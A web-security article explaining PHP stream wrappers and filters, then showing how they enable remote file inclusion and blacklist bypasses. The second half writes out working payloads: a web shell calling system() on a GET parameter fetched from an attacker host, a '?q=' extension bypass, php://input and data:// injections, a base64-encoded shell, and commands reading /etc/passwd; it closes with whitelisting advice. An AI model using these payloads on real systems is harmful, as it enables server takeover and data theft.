The Powerful Resource of PHP Stream Wrappers

Category: Web Security Readings - Last Updated: Wed, 14 Nov 2018 - by Ziyahan Albeniz

Introduced in PHP 4.3, streams are little known powerful resources that PHP provides.

PHP Stream Wrappers

In this article, we will explore ways to bypass protection methods using the PHP Stream Wrappers, which are responsible for handling protocol related tasks like downloading data from a web or ftp server and exposing it in a way in that it can be handled with PHP's stream related functions. First, let's define the key words, such as 'stream' and 'wrappers'.

What is a Stream in IT?

In technical terms, a 'stream' is the name given to the transmission of data from source to target. The source and the target might be of various forms: a file, a TCP/IP or a UDP network connection, a standard input and output, a file transfer at a file server or a file archiving process. Even though those streams seem to be heavily different from each other, they have a common thread: they are all basically read and write processes. You either write data from a source to a target, or you transmit the data you read from the source to the target. It might look something like this:

  1. Connection established
  2. Data read
  3. Data written
  4. Connection ended

Even though the basic actions are to read and write, there are additional actions that need to happen in order to reach a web server or archive a file, or to do a simple input and output process, or establish a connection through TCP/IP or UDP.

Generic Functions in Streaming Operations

PHP has some generic functions that enable you to interact with streams:

  • file
  • open
  • fwrite
  • fclose
  • file_get_contents
  • file_put_contents

In PHP, you use generic functions to perform the various streaming operations without the hassle of using individual functions, making the entire process easier.

Until today, these functions were mostly part of the stream concept and used in file read-write processes. We can now use wrappers in PHP to do various streaming processes such as HTTP, FTP, SOCKET processes, and standard input/output processes.

If you want to work with streams, you need to specify their type and target in a specific format. The stream type we’ll use in our generic functions is defined like this:

<wrapper>://<target>

The <wrapper> placeholder specifies the stream type we’ll use, for example File, FTP, PHPOUTPUT, PHPINPUT, HTTP or SSL.

If you are a PHP programmer, the following code will be familiar. It reads the some.txt file and prints its content.

<?php
$handle = fopen("some.txt","rb");
while(feof($handle)!==true) {
   echo fgets($handle);
}

In the code, we’re calling the fopen generic stream function using the file:// system wrapper. Technically, the code above does the exact same thing as the code below:

<?php
$handle = fopen("file://some.txt","rb");
while(feof($handle)!==true) {
   echo fgets($handle);
}

Since the default wrapper in streaming functions is file://, you don’t have to specify it if you want to use it.

If you want to know which wrappers you are allowed to use, you can use the code below to list them.

<?php
   print_r(stream_get_wrappers());

The Concept of Stream-Context

The default usage of stream functions may be enough for most use cases. However, there are circumstances where you need more than the default.

<?php
file_get_contents(“http://www.example.com/news.php”);

Let’s assume that the news on http://www.example.com/news.php can be easily read using the file_get_contents command. But what if this website requires some form of authentication to access its contents? In such cases, you can use the stream-context specification that helps customize the stream behavior using optional parameters.

Here’s a stream-context code sample:

<?php
   $postdata = '{"username":"ziyahan"}'
   $opts = array('http' =>
       array(
           'method' => 'POST',
           'header' => 'Content-type: application/json;charset=utf-8;\r\n'.
               'Content-Length: '.mb_strlen($postdata),
           'content' => $postdata
       )
   );

   $context = stream_context_create($opts);
   $response = file_get_contents('http://www.example.com/news.php', false,
   $context);

As seen above, Stream-Context is actually an array. The key value above indicates the wrapper type (in this case HTTP) that’ll be used in the context. Each wrapper has individual context parameters. You can read more about them in the PHP documentation.

PHP Stream Filters

We've examined the read and write processes of the streams. The stream wrappers’ main advantage is that data can be modified, changed, or deleted during the read/write process, on the fly.

PHP provides a few streaming filters. These are, string.toupper, string.tolower, string.rot13, and string.strip_tags. Various custom filters may be used in addition to these.

We can apply filters on streams using the stream_append_filter function. For example, the filter below will convert all the sentences read to uppercase:

<?php
   $handle = fopen('file://data.txt','rb');
   stream_filter_append($handle, 'string.toupper');
   while(feof($handle)!==true) {
       echo fgets($handle);
   }
   fclose($handle);

The information read in data.txt will be displayed on the screen as uppercase.

You can also use the php://filter wrapper to add filters to streams:

<?php
   $handle = fopen('php://filter/read=string.toupper/resource=data.txt','rb');

   while(feof($handle)!==true) {
       echo fgets($handle);
   }
   fclose($handle);

This method will be invoked the moment the streaming starts. Compared to the first example, this method is much more feasible for functions that do not allow filter attachments afterwards, such as file() and fpassthru().

You may use the filters for encoding (rot13, base64) or file zipping and extracting.

Besides PHP and predefined wrappers, you may use third-party wrappers like Amazon S3 or Dropbox, and write customized wrappers for specific operations.

The examples we gave until here were under the Local File Inclusion (LFI) category, which included the files from the target system in the code to extract system’s data.

Using PHP Wrappers in a Remote File Inclusion Attack

Besides LFI, it is possible to inject code to the web application remotely. This is called Remote File Inclusion (RFI). You can gain control over the server by executing commands and increase the capabilities of the attack.

Here’s a sample code snippet:

<?php
   include($_GET[“go”].”.php”);

Using this simple but powerful code, you can browse websites with links such as  www.example.com/?go=contact and www.example.com/?go=products.

However, this code has a fundamental flaw. Let’s assume that there’s a file called malscript.txt in some server far away and the file holds the following code:

<?php
   phpinfo();

This is the URL of the file holding the code you see above:: http://www.attacker.com/malscript.txt

The attacker would then call the following URL in order to load this malicious script.

www.example.com/?go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt
<?php
   include(“http://www.attacker.com/malscript.txt.php”);

The .php extension added by the developer shows up in this example as a barrier. In RFI attacks, bypassing this is rather easy.

This is the URL the attacker would supply: http://www.attacker.com/malscript.txt?q=. And here is the full URL that the attacker needs to visit in order to execute the attack:

www.example.com/?go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt%3Fq%3D
<?php
   include(“http://www.attacker.com/malscript.txt?q=.php”);

The .php barrier was bypassed using the “?q=” characters in the attack URL. That was just an example. In many cases, you can just host the file with the appropriate extension. However, this trick is also quite useful for Server Side Request Forgery attacks.

After this process, sensitive server information will be visible due to the phpinfo() function in the .txt file. The .txt file was injected into the PHP function from the remote server, and the code in the text file was executed as part of the website’s code.

That was a rather harmless example though, given the fact that we can execute any given PHP command that way. The code in malscript.txt can be modified to do some more damage, instead of reading reading some server information, like so:

<?php
   system(“uname -a”)

As you see we can execute system commands with an RFI, which is as bad as it gets. This code would allow the attacker to execute any command they want, by supplying it as GET parameter:

<?php
   system($_GET[“cmd”]);

Yet again we have the same script URL as in our previous examples: http://www.attacker.com/malscript.txt?q=. But, this time we can supply a system command as an additional GET parameter with the name CMD:

www.example.com/?cmd=uname+-a&go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt?q=

At this point, all sorts of commands can be run by the server per the attacker’s request.

If the .php extension barrier cannot be overridden using Query String, you can make use of the extension. You need to make a PHP file for this purpose and include the code below before uploading it to your server.

This is the content of the backdoor.php file:

<?php
   echo '<?php system($_GET["cmd"]);?>';

Therefore the new link the attacker needs to supply is: http://www.attacker.com/backdoor. And this is the link the attacker needs to visit in order to execute the attack:

http://example.com/?cmd=cat%20/etc/passwd&go=http%3A%2F%2Fwww.attacker.com%2Fbackdoor

PHP will evaluate this code as follows:

<?php
   include(“http://www.attacker.com/backdoor.php”);

Bypassing Blacklists with Stream Wrappers

What if the developer started taking precautions and filtered out some inputs?

For example, you can no longer use http:// within the parameter. The path to exploit the vulnerability seems to be blocked when this is done. This is where stream wrappers come into play. Instead of using the http:// wrapper that’s been filtered, you may use other options such as the php://input wrapper.

How can you use the wrapper, which takes the input from the POST Request Body and sends it to the PHP compiler, in exploiting an RFI vulnerability?

Here is a sample request:

POST http://www.example.com?go=php://input%00 HTTP/1.1
Host: example.com
Content-Length: 30

<?php system($_GET["cmd"]); ?>

As seen above, even though the http:// and file:// wrappers were filtered out, the php://input wrapper was used to exploit the vulnerability.

Even if the developer blacklists the php:// wrapper and the other PHP commands that allows system level command execution (system, cmd), there are still ways to override the barriers. The data:// wrapper may be used in this case. It's job to transmit the input passed to it as type and value, to the PHP stream functions.

The code above was:

<?php
 &nbsp; system($_GET[“cmd”]);

If the data:// wrapper can be used, the attacker can simply use the following code without the need to host an external file:

data://text/plain, <?php system($_GET["cmd"]);

This is how the URL encoded version of the final request looks like.

data%3a%2f%2ftext%2fplain%2c+%3c%3fphp+system(%24_GET%5b%22cmd%22%5d)%3b+%3f%3e
http://www.example.com/?go=data%3a%2f%2ftext%2fplain%2c+%3c%3fphp+system(%24_GET%5b%22cmd%22%5d)%3b+%3f%3e

With the cmd parameter, any code request to be executed will be sent. For example, to get the system information, you can use uname -a but you have to encode it first.

The URL used to attack:

http://www.example.com/?cmd=uname+-a&go=data%3a%2f%2ftext%2fplain%2c+<%3fphp+system(%24_GET%5b"cmd"%5d)%3b+%3f>

We forgot that the developer blacklisted the keywords like system and cmd. What can you do instead?

Thankfully the data:// wrapper supports base64 and rot13 encoding. Therefore, you have to encode the PHP code you’ll use to exploit the vulnerability in base64 and make the following request:

PHP code:

<?php
   system($_GET[“cmd”]);

This is the base64 encoded version of the exploit. PHP will decode it and execute its contents.

PD9waHANCnN5c3RlbSgkX0dFVFsiY21kIl0pOw0KPz4=

The URL you’ll make a request with:

http://www.example.com/?cmd=uname+-a&go=data://text/plain;base64,PD9waHANCnN5c3RlbSgkX0dFVFsiY21kIl0pOw0KPz4=

Seems innocent, doesn’t it? Yet the script code under the go parameter, encoded in base64, is ready to execute commands in operating system level using the “cmd” parameter.

Conclusion

In this article, we took a look at how wrappers allow the use of a mutual function for different stream operations. These wrappers can also be used to bypass some security filters. As we stated in the examples above, it’s almost impossible to ensure security using blacklists since the attack scope continuously increases. It’s far more effective to whitelist the accepted functions and text inputs instead of blacklisting keywords like http://, file://, php://, system, and cmd, and updating them each time a new attack vector is discovered. Efficiency is key in securing your web applications.

You can also disable the remote file inclusion functionality and, as always, should never allow user controlled input in functions that allow file inclusions and eventually code execution, such as require, include, require_once, include_once and others.

Netsparker

Dead accurate, fast & easy-to-use Web Application Security Scanner

GET A DEMO